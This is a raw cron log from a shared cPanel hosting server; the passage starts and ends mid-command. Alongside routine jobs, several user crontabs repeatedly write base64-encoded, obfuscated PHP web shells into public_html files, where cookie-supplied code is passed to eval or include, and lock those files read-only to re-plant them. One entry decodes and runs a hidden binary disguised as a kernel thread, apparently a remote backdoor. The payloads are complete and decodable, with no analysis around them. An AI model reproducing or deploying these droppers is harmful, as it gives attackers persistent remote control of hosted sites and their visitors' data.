CAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:00:01 medusa CROND[4807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:00:01 medusa CROND[4808]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4809]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:00:01 medusa CROND[4815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4818]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:00:01 medusa CROND[4803]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:00:01 medusa CROND[4814]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:00:01 medusa CROND[4820]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:00:01 medusa CROND[4821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 06:00:01 medusa CROND[4824]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:00:01 medusa CROND[4825]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4828]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:00:01 medusa CROND[4829]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Apr 19 06:00:01 medusa CROND[4843]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:00:01 medusa CROND[4811]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:00:01 medusa CROND[4844]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4845]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4805]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4847]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:00:01 medusa CROND[4852]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4851]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4855]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:00:01 medusa CROND[4858]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 19 06:00:01 medusa CROND[4861]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 06:00:01 medusa CROND[4864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:00:01 medusa CROND[4868]: (root) CMD (/nutscripts/fix_packages_lve.sh)
Apr 19 06:00:01 medusa CROND[4865]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4876]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Apr 19 06:00:01 medusa CROND[4862]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 06:00:01 medusa CROND[4869]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 06:00:01 medusa CROND[4866]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 06:01:01 medusa CROND[28312]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:01:01 medusa CROND[28313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:01:01 medusa CROND[28348]: (root) CMD (run-parts /etc/cron.hourly)
Apr 19 06:01:01 medusa CROND[28351]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:01:01 medusa CROND[28352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:01:01 medusa CROND[28354]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:01:01 medusa CROND[28355]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:01:01 medusa CROND[28353]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:01:01 medusa CROND[28357]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:01:01 medusa CROND[28358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:01:01 medusa CROND[28360]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:01:01 medusa CROND[28368]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:01:01 medusa CROND[28370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:01:01 medusa CROND[28374]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:01:01 medusa run-parts(/etc/cron.hourly)[28348]: starting 0anacron
Apr 19 06:01:01 medusa run-parts(/etc/cron.hourly)[28465]: finished 0anacron
Apr 19 06:02:01 medusa CROND[19606]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:02:01 medusa CROND[19608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:02:01 medusa CROND[19609]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:02:01 medusa CROND[19610]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 